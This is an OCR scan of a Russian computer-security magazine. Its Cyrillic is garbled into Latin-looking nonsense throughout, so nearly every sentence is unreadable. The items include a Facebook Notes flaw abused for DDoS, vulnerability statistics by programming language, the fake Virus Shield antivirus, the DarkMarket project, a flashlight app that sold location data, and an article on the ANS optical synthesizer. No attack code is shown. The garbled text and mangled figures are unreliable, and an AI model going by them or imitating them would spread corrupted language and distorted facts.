peiuaTb reCAPTCHA 
c TOHHOCTbfo 6o/iee 
99%! Xmbom ne/iOBeK 
hbho cnpaBMTCfl xyxe. 



Apple m Samsung 
comacHbi xoTb b neivi- 
to — o6e KOMnaHMM 
b 2015 roAy BeeAyT 

B CBOM CMapT<t>OHbl 
0yHKU,MOHa/lbHOCTb 
"KHOnKM CMepTM» 

TO eCTb AHCTaHU,MOH- 

Horo yAa^eHMfl ash- 
hhx, Ha cnynaM KpaxM 
AeBaPica. 



Mcno/iHMTenbHbiM 
AMpeKTop OculusVR 

3aflBMJl, HTO MX KOM- 
naHMfl, COBMeCTHO 

c Facebook, 3aMMeTca 
C03A3HMeM orpoM- 
Horo MMOG MMpa 
BMpTya/ibHOM pea/ib- 

HOCTM fl/lfl OCUlUS 

Rift. llpeAnonaraiOT, 

HTO MMp BMeCTMT MM/1- 

jiMapA ne/iOBeK. 



JlMHyc TopBa^bAC 6bm 
yAOCToeH Harpaflbi 
Computer Pioneer 
Award 3a 2014 toa 
otIEEE Computer 
Society. Ee BpynaiOT 
«Bbipa>Kafl npM3H3HMe 
m yBaxeHMe k Aa-nbHO- 

BMAHOCTM Tex H\Of\e\A, 
HbM yCMJIMfl npMBe/iM 
K C03AaHMK) M npOAO/i- 
xaiOLAeMycyi npou,Be- 

TaHMKD KOMnbKDTepHOM 
MHAyCTpMM». 



AOBaTe/in fl06M/lMCb 

Tpacj)MKa 895 M6ht/c 
Ha caMTwepTBbi, 
3aflaB b Terax 1 3 cj)aPi- 
jiob PDF pa3MepoM 
no 13 M6. CepBepbi 
Facebook dona/in mx 

OKOJIO 180TblCflH pa3. 

B aiaKe noynacTBO- 
Ba/io 1 1 2 cepBepoB. 




DDOS-ATAKA 
CnOMOLU,bH3 
FACEBOOK NOTES 

flbipKa, KOTopyo OTKa3a/iacb npi/i3HaTb Facebook 

Abtop caMTa A Programmer's Blog, n3BecTHbiPi noA nceBAOHMMOM chr13, o6Hapy- 
xuji b Facebook 6ar. fle/io b tom, hto Facebook Notes no3BormeT BHeApflTb Ter 
<img> b coo6LneHnq. ripi/i noMOiu,n Hexmpbix MaHMnyjiflu,MM moxho Ao6uTbca 
Toro, hto TaKne M3o6paxeHna He 6yAyT KewkipoBaTbCfl, m Facebook CTaineT KaxAbifi pa3 
3aHOBO o6pam,aTbCfl k caPrry, reHepwpya noTOK 3anpocoB HTTP GET, hto OKBMBaneHTHO 
DDoS-aTaKe. Xota b Facebook Notes cymecTByeT orpaHMneHi/ie Ha co3AaHne 6onee 100 
3aivieTOK b TeneHMe He6onbiuoro npOMexyTKa BpeMeHM, npoBecTn aTaKy sto He MewaeT. 

MccneAOBaTenb necTHO coo6lahji o Abipice b Facebook, paccHWTbiBaa Ha B03Harpa>K- 
AeHne, ho KOMnaHM^ OTKa3anacb Aaxe npn3HaTb 3to 6aroM. TorAa xaKep o6nAenc« 
h ony6nnKOBan bckd i/iHqbopMauwo b cbo6oahom AOCTyne: chr13.com/2014/04/20/using- 
facebook-notes-to-ddos-any-website . Ha GitHub AOCTynHbi PoC-CKpunrbi h He mribKO. 

Bo Bpeivm TecTi/ipoBaHHH ya3BMMOCTn MCcneAOBaTe^aM yAanocb yAepxuBaTb TpaqbMK 
400 M6mt/c k cawTy xepTBbi b TeneHne AByx-Tpex nacoB. 127 cepBepoB Facebook yna- 
CTBOBa.no b aTaKe. 

HanoMHMM, hto 3to He nepBbifi npeu,eAeHT, KorAa Facebook OTKa3biBaeTCfl npn3HaTb 
y^3BMMOCTb. B npouujiOM roAy B03HarpaxAeHne nanecTMHLi,y Xannny LUpi/iTexy, o6Hapy- 
xMBLueMy 6ar, no3Bon5noiAnw ny6.ni/iKOBaTb coo6meHi/ifl Ha CTeHe /no6oro no/ib30BaTerm 
Facebook, co6wpa.ni/i npn noMOinn KpayA<t>aHAHHra, BceM Mi/ipoM, noTOMy hto UyKep- 
6epr i/i Ko OTKa3a.n1/1cb. B MTore co6pann 13 125 AO/i/iapoB m 3an.naTn.nM napHKD BMecTO 
Facebook. 



urn Rni/iarT na RnnnApunPTk pamtao 



i i \y \v i / ii i i i / \ uluwi mui iww i u un^ i i / \ : 

CneuwanncTbi WhiteHat Security npoBe/iM iicc/ieAOBaHkie, iqk 6e3onacHOCTb caMTOB 

33BHCMT ot H3biK0B nporpaMMwpoBaHHH n (J)peiiMBopKOB. M3yHMB 30 TbicflH Be6-caiiT0B, 
KOMnaHMA npnw/ia k BbiBOAaM, hto H3biK, b o6uneM-TO, HeBaxeH. 

r* 16% ASP 

25% Java 0 — \ W / ^ ^ B cpeAneM y«3BMMOCTePi Ha caPiT 

1 1 b cpeAHeM yq3- \. 49% y«3BMMbi nepefl XSS-HH-beKU>iew 

BUMOCTeM Ha catiT \J k 110/DUD 

57%yq3BHMbi ne- 4 
pe fl XSS-HHteKUMeii 1 0 B cpeAneM yqsBMMOcreM na ca*T 

■ 56% y?i3BHMbi nepefl XSS-nH"beKi4neii 

29% .NET V B^^^ 6% ColdFusion 

■■^^ -\ 6 b cpeAHeivi y?i3BMMOCTeM Ha canT 
BMMOCTen Ha cauT msjmw 

^™ \ 10% y«3BMMbi nepeA SQL-MHteKu,nen 

6% yfl3BMMbi nepeA 

SQL-MH-beKu,neM -° 3% Perl 

7 b cpeAHeM yq3BHMOCTeM Ha caMT 
67% y$i3BHMbi nepeA XSS-MH"beKu,neM 




CAM bl l/l OEl7lKOBbll7l 

AHTI/I B l/l PYC EVER 

B Google Play oSHapyxn/ica nnaTHbii/i aHTi/iBi/ipyc, kotopni/i He 
poBHbiM cneTOM Hi/inero, ho nonb30BaTe/i?iM noHpaBi/mocb 



omhhtch, Ha 3ape cymecTBOBaHMfl App Store kto-to Hannca/i Aypau- 



Koe npmioxeHwe I Am Rich 6ora~r»), 3a KOTOpoe npeA-nara/iocb 
3an/iaTMTb 999,99 Aon/iapa. ripmioxeHwe npn stom HMnero He Ae- 
jia/io. To ecTb BOo6m.e. npocTO noKa3biBa/io KapTUHKy m BbiBOAH/io Ha 3KpaH 
MaHTpy: «l am rich, I deserve it, I am good, healthy and successful 6oraT 
m 3ac^yxn/i 3to. MHe xopoiuo, a 3aopob m ycnenieH»). TorAa Hauinncb n Te, 
kto Kynn/1 3to nprnioxeHkie-LuyTKy. Ha ceroAHaniHMM A©Hb ivia/io hto M3Me- 
HM^ocb. BbmcHM^ocb, hto jiioah c paAOdbio noKyna/in m xBanmiM npwio- 
xeHMe-aHTMBupyc, KOTopoe, kohohho, CTOMno noAenieB/ie, oah3ko Momo 
noxBacTaTbCfl TaKMM xe «6oraTbiM» 0yHKu,MOHanoM, hto I Am Rich, to ecTb 

He BbinOJlHRTIO HMKaKMX Ct)yHKU,HM. 

3/iocHacTHbiM aHTMBupyc, M3-3a KOToporo BOKpyr Google Play pa3pa- 
3\aj\C9\ onepeAHOM CKaHAa/i, Ha3biBancfl Virus Shield m npOAaBa/ica 3a 3,99 
Aon/iapa. «Ho Koro b Hai±in ahm moxho yAMBMTb 4>anbLunBbiM aHTMBMpycoM 
m 3aneM ycTpanBaTb M3-3a stoto niyMnxy?» — noAyMaenib Tbi n 6yAeujb 
npaB. napaAOKC cuTyau.nn b tom, hto KOMnaHi/ia Deviant Solutions, kotopoh 
npMHaA-nexMT aBTOpCTBO npmioxeHMfl, 6bma 3aperncTpnpoBaHa b Mara3MHe 
jiHiiib 2 anpe/m 2014 roAa. Ho sto hhkoto He HacTopoxmio, h 3a HecKonbKO 
AHePi Virus Shield KynmiH 6onee 10 TbicaH se/iOBeK! Becno/ie3HbiM aHTMBi/ipyc 
Aaxe B03r/iaB/iflji cnncoK HOBbix n/iaTHbix npmioxeHMM HeKOTopoe BpeMH. 
06biHHbie, xMBbie jikdah b KO/iMHecTBe 1700 nenoBeK yMyAPn/iHCb nocTaBMTb 

npHnO>KeHMKD OU,eHKM, M CpeAHMM 6a/l/l BblLLien AOBOJlbHO BblCOKMM — 4,5. 

Eme 2607 nenoBeK Haxa/iw KHonKy «PeKOMeHAOBaTb» b KaTa/iore Google 
Play. nonb30BaTe/iM Taioxe c paAOCTbio ocTaBrmjiw KOMMem"apnn v\ xBann.nM 
npmioxeHwe 3a CKopocTb paSoTbi, moji, coBceM Hi/isero He topmo3mt. 3to 
h HeyAHBHTe/ibHO, BeAb Virus Shield HMnero He Ae/ia/i, pa3Be hto OToCpaxa/i 
b CMCTeivie MKOHKy, A^Ba^ noH^Tb nojib30BaTejiio, hto cucTeMa 3aiAnuj,eHa 
M BCe HK06bl noA KOHTponeM. 

Hepe3 HeKOTopoe Bpeivm Google Bee xe 3aMeTwia, hto nponcxoAHT HenTO 
CTpaHHoe, m npmioxeHwe 6bmo yAa/ieHO M3 KaTa/iora, KaK MouieHHMHecKoe. 
TaK KaK MacujTa6 «TpareAnn» k 3T0iviy MOMeHTy OKa3a/icfl Heivian, KOMnaHMq 
pewmia B03MecTMTb nocTpaAaBiiiMM nanb30BaTeTmM pacxoAbi. KaxAbiM no- 
KynaTe/ib Virus Shield no/iym/m HacBOM cneT5 Aon/iapoB, aTaKxe, BKanecTBe 
M3BMHeHMfl, npoMOKOA AJifl noAapoHHoPi KapTbi Google Play c TaKMM xe ho- 

MMHa/lOM. 




Pecypc Android 
Police yTBepxflaer, 
hto aBTop npwioxe- 

HHfl - MOIilGHHMK, 

KOToporo paHee 3a- 
6aHmin Ha qbopyMe 
OH^aMH-nrpbi Sythe 
noc/ie nonbiTOK 

MOUJeHHMHeCTBa 

c HefloporMMM Bup- 
TyajibHbiMM BemaMM. 



Virus Shield 



a **H 

• IM ice , ccfWM l*f 
<>••• 1 

fl)Keccn KapTep 
(pa3pa6oTHMK 
Deviant Solutions) 
yBepaeT, hto npon30- 
weAwee m BOBce 
r/iynaa own6i<a. 
?lKo6bi b Google Play 
cjiynaMHO nona/ia 
6eTa c OTcyTCTBy- 
ioimmm no^e3HbiM 
qbyHKUMOHa/iOM, 

KOTOpafl BOBCe 

He npeAHa3Ha4a^acb 
A/ifl ny6/iMKM m npo- 
Aaxii. 




«He CKaxy, hto aHOHMMHOdb 
He pa6oTaeT, 3to cjimlukom 
paflMKa/ibHO. B Cgti/i mox- 

HO nO/lb30BaTbC^ HaCTOR- 
LUMM 1/IMGHeM HOMepOM 

Te/iect)OHa, KaK b WhatsApp, 

MOXHO nCGBflOHl/IMOM, 

KaK b Instagram. Ho bo Bcex 



3Ti/ix cnyna^x bn He npocra 
co3Aaeie i/i ncrrpeSjiaeTe koh- 
tght, ho euj,e 1/1 oSLuaeTecb 

C JlKDflbMl/l. TaK HTO aHOHMM- 

HOCTb Hac He Ha nepBOM 
MecTe». 

MapK U,yKep6epr, 
OB AHOHMMHOCTM BCETM 




DarkMarket 

The Dark Sde of the Market 




hlare you can shara yow craMons n ireeiy as you ear aran « 

Cr—» MW fmgt 



HEYnOBMMblE 
CAl/lTbl 

sy/jym,Ero 

HaA i/iHTepGCHOi/i pacnpeAeneHHOM MOfle/ibrO 
pa6oTarOT napt-11/1 M3 Unsystem 

nOKa DarkMarket — sto Bcero /iMLUb MOAe/ib, pa6oHMM KOHuem, oah3ko oneHb /iio6onbiT- 
HbiM . noc/ie Toro KaK cneu,cny>K6bi 3aKpbmn Silk Road m apecTOBa/in ero C03AaTe/m, ko- 
TopbiPi Tenepb oxHAaeT cyAa, CTa/io hcho, hto Tor, KprnrroBa/iiOTa h aHOHwvmocTb — sto 
Bce-TaKM He naHauea m HyxHO AyMaTb Aa-nbwe. AHapxnc™ H3 rpynnbi Unsystem npnAyManu 
DarkMarket v\ yxe nanynmin 3a cbok) MAeio npM3 20 Tbican AO/inapOB Ha xaKaTOHe b Topohto. 

DarkMarket — no/iHOCTbio nwpi/iHroBafl ci/iCTervia, pa6oTaK)inafl KaK BitTorrent, 6e3 u,eHTpa/ib- 
Horo xocTMHra. KoHcJwcKOBaTb cepBepbi b a^hhom cnynae HeB03M0XH0, TaK KaK Hi/iKaKwx cepBe- 
poB He 6yAeT, TonbKo MHOxecTBO nojib30BaTejibCKMx KOMnbiOTepOB. KaxAbiM no/ib30BaTe/ib cKa- 
MMBaeT ce6e 110 DarkMarket v\ 3anycKaeT ero KaK choHOBbiM npouecc, o6ecneHHBaa no npoTOKony 
ZeroMQ pacnpeAe/ieHHbiM xoctmht. TaK KaK sto Bee xe ToproBaa n/iomaAKa (bo bchkom cnysae, 
MMeHHO HaA 3tmm pa6oTaiOT Unsystem), HTo6bi BbiCTaBMTb TOBap Ha npOAaxy, AOCTaTOHHO OTpe- 
AaKTMpoBaTb y ce6a Ha ManiMHe oahh HTML-chafi/i, cneu.na.nbHO A-nfl 3toi~o npeAHa3HaHeHHbiPi. 

rioKa npoeKT HecoBepmeHeH, b nacTHOCTM, no Tpe6yeT BecTn cnncoK IP-aApecoB Bcex no- 
ceTMTe/ieM. fl/m pemeHH^ sthx npo6/ieM HyxeH Tor, oah3ko aBTOpw noKa He n/iaHwpyiOT npo- 
AOJixaTb pa6oTy. BiviecTO 3Toro ohm ony6.ni/iKO Ban m koa Ha github.com/darkwallet/darkmarket 
m npeAnaratOT Bcervi xe/iatOLAMM npncoeAHHHTbCfl v\ noynacTBOBaTb b pa3pa6oTKe. 




oShobji^kdtca 
aHTi/iBHpycHbie 6a3bi 






KoMnaHM^ 
Symantec pacci<a3a- 
jia o tom, hto Bpe- 
MeHa HbiHHG oneHb 
cypoBbie. Eonn paHb- 
nie, eme napy nej 

Ha3afl, 06H0BJieHHfl 

aHTMBupycHbix 6a3 

BblXOflM/lH pa3 B CyTKM 

m SToro Bno/iHe 
xBaTa/io, to ceroAHfl 
o6HOBJieHL/m nponc- 
xoa^t KaxAbie 40-50 

MMHyT. BUHOM TOMy 

yxyALueHMA cnTyau.nn 
b o6nacTn MB — 
ceroAHfl ropa3AO 
6o/ibuue KaK Ma/iBapn, 
TaK h TapreTHpoBaH- 
hnx aTaK. 




1 100 000 

Ki/uiOMeTpoB npoexani/i 
6ecnn/iOTHbie MaujuHbi 
Google 

-> Google npoAO/ixaeT TecTMpoBaTb cbom 
6ecnn/iOTHbie 3bto h yxe moxgt noxBa- 
CTaTbcn pe3ynbTaTaMn. ManiHHbi, Ha KaxAOH 
M3 KOTopbix ycTaHOB/ieHo annapaTypbi 
Ha cyMMy 150 Tbican AO/i/iapoB, npoexajiM 
6e3 gahhoto flTn yxe 6o/iee MmuiHOHa kh- 
jioMeTpoB. Oah3ko yxe hcho, hto CHCTeivia 
KOMnbioTepHoro 3peHnq Google He cnpa- 
bhtch c npon3BO/ibHOH Aoporofi, ev\ Bee xe 

nOTpeSyiOTCfl KapTbl M3BeCTHOM MeCTHOCTH. 





JlErKI/IM 

McnyroM 

Abtop nonyrapHoro npi/moxeHi/m 
c/ieflMJi 3a no/ib30BaTeii?]MM, 
npoAaBan i/ix AaHHbie, ho BbiLue/i 

CyXl/lM M3 BOflbl 




a3a/iocb 6bi, neM moxgt HaBpeAHTb 6ecnjiaTHoe npn/ioxem/i- 
e-c|)OHapMK, Aa eme v\ oaho M3 caMbix nony/mpHbix b Google 



FTC nosiCHfleT, 
hto npmioxeHwe 
pacnpocTpaHH/iocb 



npi/i/ioxeHwe Brightest Flashlight, bch cyTb KOToporo b ero Ha3Ba- 

HHH (3T0 06blHHbl£l 0OHapMK), HMe/10 60/iee 50 MI/I/1/1MOHOB yCTaHOBOK 

b ocJ)Mu,MajibHOM Mara3MHe. Ero co3Aa.na aiviepHKaHCKafl KOMnaHi/ia 
GoldenShores Technologies, KOTopaa Ha Ae/ie nsnneicn Bcero oahhm 
ne^OBeKOM, pa3pa6oTHMKOM 3phkom TeMAnoM. Vewnn OKa3ajiCfl npeA- 
npMMMHMBbiM napHeM — BMecTO Toro, HTo6bi 3apa6aTbiBaTb Ha peicna- 
Me, oh OTcnexMBa/i KoopAHHaTbi no.nb30BaTe.nePi iiohtm b pea/ibHOM 
BpeMeHM m npoAaBa/i 3Ty MHC^opMauiiio peicnaMHbiM ceTHM h APyruM 
noKynaTejiflM. Pa3yMee~rcfl, h en e ran who. 

Hto-to CTpaHHoe 3aMeTM/ia OeAepanbHaa ToproBaa komhccma 
(FTC) h o(f)opMM^a xano6y, npeAJioxwB «KOMnaHnn» yperynnpoBaTb 
Aeno. Pa3yMee~rcfl, TeMA-n cor/iaci/mca (m, h3ao AyivaTb, Hcnyrancfl). 
Oah3ko MToroBoe HaKa3aHne noxoxe CKopee Ha AypHyto ixiyTKy; TeM- 
fxna o6a3ajin yAa/iMTb bckd co6paHHyio nHcfjopMaunK) He no3AHee Ae- 
chth AHePi m b TeneHne 6yAymnx Aec^TM jieT coo6m,aTb FTC o cbomx 
HOBbix npeAnpMHMMaTe/ibCKnx MHMu,naTMBax. HwKaKoro «B03BpaTa Ha- 
rpa6/ieHHoro», LUTpac|)OB v\nv\ jiMLueHMfl cbo6oan. 



6ecn/iaTH0, noa- 

TOMy B3blCKMB3Tb 

c pa3pa6oT4MKa 
KOMneHcauMio 

He COHJM Hy)KHblM. 

no TeM xe npn- 

HMH3M He 6blJlM 

Ha3BaHbi m MMeHa 
noKynaTe/ieii 

HH(J)OpMaUMM. FlO- 

AyMaeiub, npmio- 
xeHwe wnHOHwio 

3a 50 MMJl/lMOHaMM 

jnoaeM, hmkto xe 
He nocTpaAa/i. 




Header 



▼ 

A/ieKcaHAP 3ojiotob 

nightradio@Qmail.com 




Proof- of- Concept 




PMCOBAHHbIM 3BYK: 

M3 npow.noro b bwluee 



TBopnecKOMy ne/iOBeKy Bcerfla i/iHTepecHbi CMe/ibie skc- 

nepMMeHTbl, OTKpblBaKDLUl/ie HOBbie rOpi/l30HTbl V\ B03- 
MOXHOCTl/1. OaHTaCTMHeCKa^ — pi/ICOBaTb My3bl- 

Ky, C03flaBaTb HenoBTopi/iMbie KapTi/iHbi, BonjiOLuanDii^i/ie 
rpacJwKy v\ 3ByK, yxoflMT koph^mi/i b Hanaro XX BeKa. 
B stoi/i CTaTbe 9i paccKaxy 06 ncTopi/ii/i Bonpoca, a TaKxe 
0 AByx cbomx pa3pa6oTKax, no3BO/i^HDLu,nx fle/iaTb yAM- 
BMTGJibHoe — 3anMCbiBa~rb 1/1 BOcnpOM3BOAi^Tb b rpac|)i/i- 

HGCKOM BMfle 3ByKl/l. 

nPEAbiCTOPnq 

B 1904 rofly c|)paHuy3CKMM M3o6peTaTe/ib Sxgh OnocieH /Ioct npGACTaBw/i npOTOTMn cwdGMbi 
onTMnecKOM 3anncn 3ByKa Ha KMHormoHKy, a b 1911 -m ycipomi, bo3moxho, nepBbm b mctopmm 
noKa3 cf>mibMa c ncno/ib30BaHH6M hobom tgxhhkm. Hana/iacb spa 3aKaia Heivioro khho m pgbo- 

/lK)U,MOHHblX OTKpblTMM B 06/iaC"M CMHTGTMHGCKOrO 3ByKa — BnepBbie yfla/lOCb nO^yHMTb npOCTOM, 

yAo6HbiM m oneHb Ham^AHbiM cnocoS ynpaB/ieHMq ayAH0MH(J)0pMau 1 M6fi. 

B KOHU.G 1920-x toaob ripn pa6oie HaA oahum H3 nepBbix coBeTCKnx 3ByKOBbix (J)mibMOB npe- 
nMymecTBa i-ioao6hom tgxhmkm otmgtm/im KOMno3mop Apcem/iM ABpaaMOB, KOHCTpyKTOp EBre- 
hum LUo/ino m pe>Knccep-aHMMaTop Mwxami UexaHOBCKMM. JlomnecKafl u,enoHKa BbicTpawBa/iacb 
c/ieAyK)mafl: ec/iM Mbi hcho bmahm AopoxKy c 3anncaHHoPi 3ByKOBOM bojihom — 3HaHm, Mbi mo- 
xeM 3Ty xe BO/iHy co3AaTb HCKyccTBeHHO, npodo Hapi/icoBaB ee ot pyKM. A hto, ec/iM noivie- 
CTMTb TyAa opinaMGHT, c/ioxHoe coneTaHwe y3opoB \ajva nprnviMTMBOB gbkjihaobom reoMeTpnn? 
HacKO/ibKO cjDaHTacTMHHbiM 6yAeT pe3yjibraT? BeAb t3kmm o6pa30M moxho HapwcoBaTb coBep- 
llighho yHMKa/ibHbiM, He cymecTByiOLAMM b npwpoAe 3ByK, a My3biKy moxho nncaib 6e3 pea/ibHbix 

HHCTpyMeHTOB, MMKpO(J)OHOB 1/1 MCnO/IHMTe/ieM. 

HecKO/ibKO Jia6opaTopnPi BCKOpe 3aHa;incb M3yHeHneivi sti/ix BonpocoB. M b pe3y/ibTaTe noa- 
BM/iMCb CMHTe3aTopbi onTMHecKOM 4)OHorpaMMbi: «BapnocJ)OH» EBreHMq LUojino, «Bn6po3Kcno- 
HaTop» Bopwca Ahkobckopo, Mawi/iHa Hm<o.nafl Boi/iHOBa f\n9\ pa3MGTKM «rpe6eHOK» M3 6yMam — 
6a30Bbix cj)parMeHTOB CMHTe3MpyeMoro 3ByKa. Ha onyx Bee sto oneHb HanoMi/iHano coBpeivieHHyK) 
8-6MTHyio My3biKy, ho c 6o/ibLueM deneHbio CBo6oAbi: nio6bie cJ)opMbi KO/ie6aHMM, HeorpaHMneH- 
Haa no^M(J)OHMfl, caMbie HeBoo6pa3MMbie pHTMHHecKMe pwcyHKM. Tbi TO/ibKO BAyMawca — orrm- 
HecKuPi CMHTe3aTOp, My3biKa/ibHbiPi KOMnbKrrep b TpuAuaTbie roAbi npoumoro cmneTHfl! Ho sto 

TO/lbKO U,BeTOHKM. MblC/lb COBeTCKHX MHXOHepOB now/ia Aa/ibLue. 

B OT/lMMMeOTCBOMXKO/l/ieraKyCTMKBopMC^HKOBCKMM OAHMM M3 nepBblX OC03Ha/l, HTOA/1H C03- 
AaHMfl CJ10>KHblX, npn6/lM>KeHHblX KXMBbIM 3ByKOB H G AO CT3T0 H H 0 OnMCaHl/lfl OAHOM TO^bKO (J)OpMbl 

KO/ieSaHMM. BaxHeMLuaa nacTb aKycTMnecKOM MHc^opMauMM — sto cneicrp, neTKO onpeAe/iaioLAMM 
nacTOTHbM codaB 3ByKa, ero OKpacKy, no kotopom Mbi AaeM TaKMe cy6-beKTMBHbie onpeAe^eHM^, 
KaK apKMM, Ten^biM, MeTa/i/iMHecKMM, noxoxMM Ha He/iOBenecKHM ro/ioc m TaK Aa/iee. 

?1hkobckmm Hasa^ CTpyKTypnpoBaTb 6a30Bbie rpactwKH cneKTpa b CBoero poAa «Ta6jinuy MeH- 
Ae^eeBa» 3ByKOBbix 3/igmghtob, napa/i/iGJibHO pa3pa6aTbiBaa a^ropnTMbi mx o6pa6oTKM m rn6pn- 

AM3aU,MM flj]* nO^yHGHMfl HOBblX 3ByKOB Ha 6a3G «CnGKTpOCTaHAapTOB». K COXa/lGHWO, nGpGMGHbl 
B CTpaHG 1/1 BOMHa HG A3/1M ^HKOBCKOMy AOBGCTM pa60Ty AO JlOrMHGCKOrO 3aBGpLUGHMq. 



TeMy npoAO/ixmi ero 3HaKOMbM, mojioaom n3o6peTaTe/ib EBreHMM Myp3MH, BnenaT^eHHbiM 
Hapa6oTKaMM b 06/iacTM «rpaci)i/mecKoro 3ByKa» 1/1 3aAyMaBLunPi rpaHAM03HbiM npoeKT — yHUBep- 
ca/ibHyio (J)OT03^eKTpoHHyfo Mami/iHy, cnoco6Hyio ci/iHTe3i/ipoBaTbjiio6oM 3ByK, n\o6ov\ My3biKajib- 
HbiPi CTpoPi MeTOAOM pHCOBaHMH cneKTporpaMMbi (3aBncnMOCTb cneKTpa ot bpgmghm) Ha cneu,n- 
a/ibHOM xo/iCTe 6e3 OTB/ieKaioiAMx onepau,nM BpOAe npo^BKn m cywKM n/ieHKi/i. 3to ynpocmno 6bi 
KponoT^MByio pa6oTy KOMno3MTopa, npeAOdaBMB He6biBa/iyK) CBo6oAy A-rm TBopsecTBa. 

ByKBa/ibHO Ha KoneHKe, TpyA^cb BenepaMU b KOMHaie AByxsiaxHoro 6apaKa, Myp3MH 3a- 
kohhuji pa6onyK) MOAenb annapaia b 1958 roAy. AnnapaT Becmi 6anbi±ie tohhm h BHeniHe MMe/i 
Ma/io o6Luero c My3biKa/ibHbiM nHCTpyivieHTOM b K/iacci/inecKOM noHMMaHMM. M3o6peTeHne 6bi.no 
H33BaH0 «AHC» b necTb KOMno3MTOpa A/ieKcaHApa HHKO/iaeBi/ina CKpa6nHa. HecMOTpa Ha BHeiu- 
hmm bma, AHC CTa/i mmpobom ceHcau,Mew, onepeAUB CBoe Bpeivia Ha AecflTmieTwq m oneHb yAanHO 
BnMcaBLuncb b nepi/iOA kocmmhgckom 3ficjx)pni/i co cbomm HenoBTopwMbiM aTMOC(})epHbiM 3Byna- 

HW©M. 

AHC neM-TO HanoMMHaeT coBpeMeHHbifi CKaHep, TO/ibKO ABwraeTca b HeM He CKaHwpyiOLnafl 
no/iocKa, a caivia noBepxHOdb c M3o6pa>KeHneM — 6ojibLuafl CTeKnHHHafl rmacTi/iHa (napTirrypa), 
noKpbuaa Henpo3panHOM KpacKoPi. KpacKa b HyxHbix Meciax CHMMaeTca tohkum pe3u,OM, o6pa- 
3yn pMcyHOK cneKTporpaMMbi My3biKa/ibHoro npon3BeAeHnq. napTMTypa nnaBHO nepeABwraeT- 
C9\, npoxoA^ HaA OTBepcu/ieM, H3 KOToporo MAeT npepbiBMCTbiPi «MOAy/inpoBaHHbiM» Jiyn CBeia 
ot onTMKO-MexaHMHecKoro reHepaiopa hhctwx 3ByKOBbix tohob Ha 6a3e rm™ cneuna/ibHbix auc- 
kob onTMHecKOM cfjOHorpaMMbi. HacTb CBeia npoxoAHT nepe3 npo3panHbie o6nacTM napTHTypbi, 
noone nero (J)OKycnpyeTCfl Ha Ha6op (J)0T03/ieMeHT0B, c KOTopbix BbixoAUT roTOBbiM k BOcnpon3- 

BeAeHMK) 3ByK b 0opMe KO/ie6aHMM 3/ieKTpMHeCKOrO TOKa. 

CepAue AHCa — sto ynoM^HyTbiM auck c pncyHKOM H3 144 AopoxeK (KaK Ha rpaMn/iacTMHKe), 
np03paHH0CTb KOTopbix M3MeHqeTCfl no CMHyconAe c onpeAe/ieHHOM nacTOTOM. Pa3Hnua no na- 

CTOTe MeXAy COCeAHMMM AOpOXKaMM — 1/72 OKTaBbl. TaKMM o6pa30M, OAMH AUCKCOAepXMTABe 

OKTaBbi, a OKTaBa Ae/iMTca Ha 72 HMCTbix TOHa — Myp3MH cni/ua/i K/iacci/mecKyio 12-TOHOByio TeM- 
nepau,Mfo cymecTBeHHbiM orpaHi/ineHHeM. no cy™, KaxAbifi auck — sto onTMHecKaa peajin3aui/m 
anropMTMa npeo6pa30BaHMH Oypbe, jiexaLAero b ocHOBe MHorux coBpeMeHHbix nporpaMMHbix 
CMHTe3aTopoB n acfx^eKTOB. 3to b nop^AKe BemeM cewnac, bo BpeMeHa rurarepu v\ rnra6aMT, 
ho 50 neT Ha3aA 6bmo npocTO HeBepoflTHO — cneKTpa/ibHbiPi CMHTe3aTop, cnoco6HbM wrpaTb 
720 HMCTbix tohob OAHOBpeMeHHo! HeAapoM AHC CHi/rraeTCfi nepBbiM b Mupe MHororo/iocHbiM 

My3blKa/lbHblM CMHTe3aTOpOM. 

Ec^n Tbi AyMaeiub, hto HMKorAa He c/ibiLua/i 3ByKM AHCa paHbLue, to, CKOpee Bcero, olum- 
6aeujbCfl. BcnoMHM xota 6bi cJw/ibMbi AHApe^ TapKOBCKoro «Conqpnc», «3epKa/io», «CTa/iKep», 
3aBopaxnBatOLAne BO/iLue6HOM My3biKOM 3AyapAa ApTeMbeBa. Mjim cueHy homhoto KOLUMapa 
M3 KOMeAMM /leoHMAa TaMAaa «Bpmi/inaHTOBaa pyKa». Ctomt OTMeTMTb, hto Kapbepa caMoro Ap- 
TeMbeBa KaK KOMno3MTOpa-3JieKTpoHni,nKa HaHa/iacb MMeHHO co 3H3K0MCTBa c AHCom i/i ero C03- 
AaTe/ieM b 1960 roAy. KpoMe ApTeMbeBa, c i/mcTpyMeHTOM ycne/in nopa6oTaTb A/ibct)peA Whht- 
Ke, 3amcoh fleHMCOB, Coc|)Mq TySaMAy/iHHa, CTaHi/ic/iaB KpeMHM, a 3ByKM AHCa b pa3Hoe BpeMa 
ncno/ib30BajiM b CBoew My3biKe TaKne rpynnbi, KaK Coil v\ Bad Sector. 

K coxa/ieHHK), ao Hamux ahcm Aowe/i /li/inib oahh 3K3eMn/iap CMHTe3aTopa AHC, n3roTOB/ieH- 
Hbiw npOMbiujjieHHO b KOHue 1963 roAa. HaxoAHTca oh b MocKBe b TocyAapCTBeHHOM My3ee My- 
3biKa/ibHOM Ky/ibTypbi MMeHM Dihhkm. HecMOTpfl Ha HenpocTyio cyAb6y, annapaT no cefi AeHb b pa- 
6oneM coctorhmm m BpeMq ot BpeMeHM MrpaeT A^fi noceTMTe^ePi My3ea noA nyTKWM npucMOTpoM 
CTaHMcnaBa KpewnM. fl^a Tex xe, kto fxanem ot Mockbh v\nv\ npocTO xoTe^ 6bi noaKcnepMMeHTM- 
poBaTb co 3BynaHMeM AHCa y ce6a AOMa, cymecTByeT nporpaMMHbiw CMMy/ifrrop noA Ha3BaHneM 

Virtual AN.c; 



VIRTUAL ANS: rPAcDMHECKMM PEAAKTOP 

Pa3pa6oTKa Virtual ANS bgagtch aBTopoM AaHHOM CTaTbi/i c 2007 rofla. U,e/ib nporpaMMbi — 
MaKCMMa/ibHO Bocco3AaTb lononeBbie oco6ghhocth, aiMoccJ)epy >K6.n63Horo AHCa, pacujupMB 
npw 3tom opnrnHa^bHyio hagio c yHGTOM 6oraTbix bosmoxhoctgh coBpeMeHHbix KOMnbKrrepoB. 

M3 OCHOBHblX ot/imhmm; 

• nporpaMMa Kpocc-nnaTc|)opM6HHafl (Windows, Linux, OS X, iOS, Android), hto no3BO/iRGT 
Hac/iaxAaTbca pa6oTOM c HHCTpyMGHTOM rAG yroAHO m Ha hgm yroAHo: HasnHaa ot aglug- 
